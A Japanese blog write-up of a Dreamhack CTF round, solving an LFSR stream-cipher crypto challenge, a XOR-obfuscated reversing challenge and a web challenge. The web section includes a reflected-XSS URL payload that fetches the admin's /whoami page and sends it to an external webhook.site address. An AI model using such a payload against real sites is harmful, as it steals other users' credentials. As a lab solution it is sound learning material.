Writeup for Dreamhack CTF Season 7 Round #8 (🌱Div2)

3完だけして、12位でした。SROPの問題ができませんでした。

最初のcryptoのSTREME REVERIEだけでも頑張って解いたので見てほしいです

Dreamhackちゃんと参加したけどハマりそう。

AtCoderのCTF版みたいなものか

[crypto] STREME REVERIE 437pts

Stream Cipher, to the Extreme!

output.txt
encrypted flag > c615a6cbc4bbf37fe65af240813248140925f2afb31f6c6b5bf71cdfa151fcd55999cf95e2eb9313fc75afe39d1bf836ef14931afe19e16a7c16a1bb41d5abe5d124991d
cipher.py
Python
class STREAM:
    def __init__(self, seed, size):
        self.state = self.num2bits(seed, size)
        # x^32 + x^22 + x^2 + x^1 + 1
        self.taps = (32, 22, 2, 1)

    def num2bits(self, num, size):
        assert num < (1 << size)

        return bin(num)[2:].zfill(size)
    
    def bits2num(self, bits):
        return int('0b' + bits, 2)
    
    def shift(self):
        new_bit = 0
        for tap in self.taps:
            new_bit ^= int(self.state[tap - 1])
        new_bit = str(new_bit)
        self.state = new_bit + self.state[:-1]
        return new_bit
    
    def getNbits(self, num):
        sequence = ""
        for _ in range(num):
            sequence += self.shift()
        
        return sequence

    def encrypt(self, plaintext):
        ciphertext = b""
        for p in plaintext:
            stream = self.bits2num(self.getNbits(8))
            c = p ^ stream
            ciphertext += bytes([c])

        return ciphertext

    def decrypt(self, ciphertext):
        plaintext = b""
        for c in ciphertext:
            stream = self.bits2num(self.getNbits(8))
            p = c ^ stream
            plaintext += bytes([p])

        return plaintext


if __name__ == "__main__":
    import os

    for seed in range(0x100):
        Alice = STREAM(seed, 32)
        Bob = STREAM(seed, 32)
        plaintext = os.urandom(128)
        ciphertext = Alice.encrypt(plaintext)
        assert plaintext == Bob.decrypt(ciphertext)

prob.py
Python
#!/usr/bin/env python3
from cipher import STREAM
import random


if __name__ == "__main__":
    with open("flag", "rb") as f:
        flag = f.read()

    assert flag[:3] == b'DH{' and flag[-1:] == b'}'

    seed = random.getrandbits(32)
    stream = STREAM(seed, 32)

    print(f"encrypted flag > {stream.encrypt(flag).hex()}")

crypto得意ではないので間違えてるかもしれません。

LFSRの問題です。

コードを見るにフィボナッチLFSRだと思います。

DH{と}が既知平文としてわかっています。

そして、seedには32bits使っています。

なんか全部seed出したりするにはガウス消去みたいなのを使わないといけないらしいですがよくわからないので、最初の三文字(24bits)分だけ頑張って、あとの8bitsは全探索します。256回だけなので。

STREAMクラス内にdecrypt関数を用意してくれているのでそれらを使いましょう。

フィボナッチ型はタップ位置(今回はコメントに書いてあるx^32 + x^22 + x^2 + x^1 + 1を使って、32,22,2,1である)でXORした結果を左端に追加しています。
参考https://note.com/tmnkj/n/n09eed50e0523

そしてencrypt関数では1文字に対し8bits分のstreamを作成し、plaintextとxorしています。つまり、最初のciphertext24bits分とDH{をXORしたら、stateの24bits分がわかります。

注:シフトされて左端に行ったものがnew_bitsでshift関数内で返されているが、getNbits関数では+=と末尾に追加されているので、先頭24bitsをまとめて逆順にしないといけない。

Python
    def encrypt(self, plaintext):
        ciphertext = b""
        for p in plaintext:
            stream = self.bits2num(self.getNbits(8))
            c = p ^ stream
            ciphertext += bytes([c])

        return ciphertext

方針は固まりました。

1.既知平文のDH{と、ciphertextの最初の24bitsをxor(どちらも8bitsに埋めてから計算しないといけない。self.getNbits(8)としているため)

2.xorした結果を逆順にし、DH{まで暗号化したときのstateを24bitsまで再現

3.残りの8bitsを全探索する。

4.内部状態が一致すると、ストリーム暗号なので別にちゃんと復号できると思うので復号(xorするだけなので)

5.末尾が}で終わっているものかどうかをチェック

実装力には目をつぶってください

Python
from cipher import STREAM

ciphertext = bytes.fromhex("c615a6cbc4bbf37fe65af240813248140925f2afb31f6c6b5bf71cdfa151fcd55999cf95e2eb9313fc75afe39d1bf836ef14931afe19e16a7c16a1bb41d5abe5d124991d")
print(ciphertext)
#こいつが16進数なのを忘れていた…

known_plain_text = b"DH{"
print(known_plain_text)
known_part_state = ""

ciphertext_known_bits = f"{ciphertext[0]:08b}{ciphertext[1]:08b}{ciphertext[2]:08b}"
known_plain_text_bits = f"{known_plain_text[0]:08b}{known_plain_text[1]:08b}{known_plain_text[2]:08b}"

ks_bits = [
    str(int(c) ^ int(k))
    for c,k in zip(
        ciphertext_known_bits,
        known_plain_text_bits
    )
]

known_part_state = "".join(ks_bits)[::-1]

for i in range(256):
    stream = STREAM(0,32) #適当に作る
    stream.state = known_part_state + f"{i:08b}"
    dec = stream.decrypt(ciphertext[3:])
    if dec.endswith(b'}'):
        print(b"find the flag !!!!" + b"DH{" + dec)

初めてちゃんと、cryptoを自分で理解?(怪しいけど)して解けた

気持ちいね

[rev] My Favorite Fruit 175pts

問題分

This little chatbot wants to know your favorite fruit.
Do you think you can get the flag from this chatbot?

The flag format is DH{}.

Dreamhackのwriteupに投稿したらコインがもらえると思って投稿したものなので英語です。(もらえなかった)

I have revieved a binary.

let’s decompile it with IDA.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v4; // [rsp+8h] [rbp-18h]
  char s1[8]; // [rsp+Fh] [rbp-11h] BYREF
  char v6; // [rsp+17h] [rbp-9h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v6 = 0;
  v4 = 0;
  do
  {
    printf("What is your favorite fruit?\n> ");
    __isoc99_scanf("%9s", s1);
    if ( !strcmp(s1, "banana") )
    {
      puts("I also like banana.");
      if ( (v4 & 1) == 0 )
      {
        v4 |= 1u;
        sub_11E9("banana");
      }
    }
    else if ( !strcmp(s1, "strawberry") )
    {
      puts("Strawberries! Great choice.");
      if ( (v4 & 2) == 0 )
      {
        v4 |= 2u;
        sub_11E9("strawberry");
      }
    }
    else if ( !strcmp(s1, "erwin") )
    {
      puts("I never heard of it, but it looks delicious.");
      if ( (v4 & 4) == 0 )
      {
        v4 |= 4u;
        sub_11E9("erwin");
      }
    }
    else if ( !strcmp(s1, "mandarin") )
    {
      puts("It's so sour...");
      if ( (v4 & 8) == 0 )
      {
        v4 |= 8u;
        sub_11E9("mandarin");
      }
    }
    else if ( !strcmp(s1, "melon") )
    {
      puts("I wanna eat it with jamon.");
      if ( (v4 & 0x10) == 0 )
      {
        v4 |= 0x10u;
        sub_11E9("melon");
      }
    }
    else
    {
      puts("Ew, I don't like it.");
    }
  }
  while ( v4 != 31 );
  printf("Here is the flag: %s\n", a0);
  return 0LL;
}
__int64 __fastcall sub_11E9(const char *a1)
{
  __int64 result; // rax
  unsigned int i; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = strlen(a1);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i > 0x44 )
      break;
    a0[i] ^= a1[(int)i % v3];
  }
  return result;
}

This is simple xor.

So, I take the data in a0.
And then I create the following solver:

data = [0x30,0x2B,0x12,0x06,0x19,0x4E,0x1D,0x5E,0x46,0x1D,0x49,0x52,0x09,0x10,0x40,0x5D,0x40,0x5C,0x4D,0x4E,0x45,0x15,0x0A,0x0D,0x40,0x53,0x40,0x54,0x42,0x52,0x44,0x5A,0x5E,0x51,0x46,0x0C,0x43,0x19,0x11,0x12,0x1C,0x53,0x5D,0x06,0x48,0x40,0x10,0x04,0x1E,0x4D,0x18,0x5F,0x5E,0x46,0x4E,0x54,0x12,0x5E,0x43,0x4C,0x4C,0x46,0x59,0x5D,0x17,0x58,0x1B,0x11,0x7B]
fruits = ["banana","strawberry","erwin","mandarin","melon"]
data2 = data[:]
for fruit in fruits:
    l = len(fruit)
    for i in range(len(data2)):
        data2[i] ^= ord(fruit[i % l])
print(bytes(data2))

[web] Are you admin? 175pts

Hmm… You look suspicious. Are you admin?Translate

 Download Challenge

reportするとこがあることから、XSSと想像できます。

intro.htmlを見てみると、

HTML
    <div class="container">
        <h1>Introduction</h1>
        {% if name and detail %}
            <p>Hello, my name is <strong>{{ name | safe }}</strong>.</p>
            <p>{{ detail }}</p>
        {% else %}
            <p>Introduce yourself!</p>
        {% endif %}
    </div>

となっており、{{ name | safe }}となっていることから、XSSが発生します。

app.pyを見ると、ユーザー名adminでログインしていて、passwordがフラグらしいので、/whoamiにリクエストを飛ばしてwebhookすればよさそうです。

はまやんさんのサイトからペイロードは引っ張ってきました。

http://host3.dreamhack.games:22133/intro?name=%3Cscript%3Efetch(%22/whoami%22).then(r=%3Er.text()).then(z=%3Enavigator.sendBeacon(%22https://webhook.site/b4d7cff1-d8a7-48b9-a88e-926186aa65cf%22,%20z))%3C/script%3E&detail=2

をreportに送信するとフラグが得られました。

コメントする

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

上部へスクロール